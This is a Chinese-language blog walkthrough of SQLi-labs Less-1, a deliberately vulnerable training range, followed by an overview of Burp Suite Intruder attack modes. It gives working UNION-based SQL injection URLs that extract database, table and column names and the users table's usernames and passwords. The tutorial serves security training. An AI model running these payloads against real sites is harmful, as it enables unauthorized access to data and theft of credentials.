sqlilabs靶场通关详解

文章目录

1、less-1详解

1.1、源码分析

  • 函数作用参考官方文档php手册

  • isset --- 检测变量是否已声明并且其值不为 null

  • fopen --- 打开文件或者 URL

  • fopen中的mode 参数指定了所要求到该流的访问类型

mode 说明
' r ' 只读,将文件指针指向文件头。
' r+ ' 读写,将文件指针指向文件头。
' w ' 写,将文件指针指向文件头并将文件大小截为零。文件不存在则尝试创建。
' w+ ' 读写,否则行为同 'w'。
' a ' 写,文件指向文件末尾,文件不存在则尝试创建。fseek() 没有效果,写入总是追加
' a+ ' 读写,文件指针指向文件末尾,文件不存在则尝试创建。fseek() 只相应读取位置,写入总是追加
  • 查询语句

1.2、测试

相关前置知识点击此处

1.2.1、判断闭合符
  • 源码分析出闭合符为单引号
1.2.2、判断列数
  • 使用order by

  • 出现Unknown column '4' in 'order clause'说明无第四列

1.2.3、判断回显位
  • id=-2的目的时让前半条查询查不到任何记录,UNION SELECT的结果才在页面上显示
  • 接下来就可以使用函数获取信息
sql 复制代码
Less-1/?id=-2'union select 1,database(),user();--+
1.2.4、获取表名、列名、密码

相关前置知识

  • 若开源,直接下载查看即可
  • 若此时闭源,则需要进行查询
sql 复制代码
/Less-1/?id=-2'union select 1,(select table_name from information_schema.tables where table_schema='security'),user();--+
  • 直接使用查询会报错Subquery returns more than 1 row,是因为子查询返回了"多行数据",但把它放在了只能放一个值的位置UNION SELECT 的某一列里,解决方法如下两种:
  1. limit
    • 手动更改
    • 使用bp进行爆破
      在要爆破的字段前add

  • 查看返回值不一致的说明爆破成功
  1. group_concat
    • 将分组中的多个值,连接成一个字符串返回。


    • 对应的username和password会形成一个字符串
sql 复制代码
#获取表名
/Less-1/?id=-2'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ) ,user();--+
#获取列名
/Less-1/?id=-2'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ) ,user();--+
#获取用户名和密码
/Less-1/?id=-2'union select 1,(select group_concat(username,password) from users ) ,3;--+

2、BurpSuit使用

2.1、 Sniper(狙击手)

  • 核心逻辑:单组 Payload,多位置,逐个测试。

  • 执行流程:假设有2个位置(如参数A、参数B)和Payload集 [1, 2],则顺序为:先在位置A依次尝试1、2(即 A=1、A=2);再在位置B依次尝试1、2(即 B=1、B=2)。

  • 适用场景:适合测试单个位置的多种值,或多个位置但每个位置需独立测试的情况(如分别测试用户名、密码的单个值)。

2.2、 Battering ram(攻城锤)

  • 核心逻辑:单组 Payload,多位置,同步填充

  • 执行流程:假设有2个位置(参数A、参数B)和Payload集 [1, 2],则顺序为:先将1同时填入A和B(即 A=1 且 B=1);再将2同时填入A和B(即 A=2 且 B=2)。

  • 适用场景:适合多个位置需使用相同Payload的情况(如测试多个参数都用同一个用户名)。

2.3、 Pitchfork(草叉)

  • 核心逻辑:多组 Payload,每个位置对应不同的Payload集,同时迭代所有Payload集(取每个集的"对应位置"payload)。

  • 执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:取每个集的第1个A=1 且 B=a);取每个集的第2个(A=2 且 B=b)。

  • 适用场景:适合多个位置需对应不同但索引一致的Payload(如用户名列表和密码列表,用户名第1个对应密码第1个)。

2.4、 Cluster bomb(集束炸弹)

  • 核心逻辑:多组 Payload,全排列组合。

  • 执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:A=1 且 B=a;A=1 且 B=b;A=2 且 B=a;A=2 且 B=b。

  • 适用场景:适合需要 exhaustive 测试所有组合的情况(如用户名和密码的所有可能组合,组合数量=Paylaod集数量的乘积)。

相关推荐
NineData9 小时前
NineData智能数据管理平台新功能发布|2026年1-2月
数据库·sql·数据分析
IvorySQL10 小时前
双星闪耀温哥华:IvorySQL 社区两项议题入选 PGConf.dev 2026
数据库·postgresql·开源
ma_king13 小时前
入门 java 和 数据库
java·数据库·后端
jiayou6416 小时前
KingbaseES 实战:审计追踪配置与运维实践
数据库
随风飘的云17 小时前
mysql的innodb引擎对可重复读做了那些优化,可以避免幻读
mysql
NineData1 天前
NineData 迁移评估功能正式上线
数据库·dba
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
NineData1 天前
数据库迁移总踩坑?用 NineData 迁移评估,提前识别所有兼容性风险
数据库·程序员·云计算
赵渝强老师1 天前
【赵渝强老师】PostgreSQL中表的碎片
数据库·postgresql
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent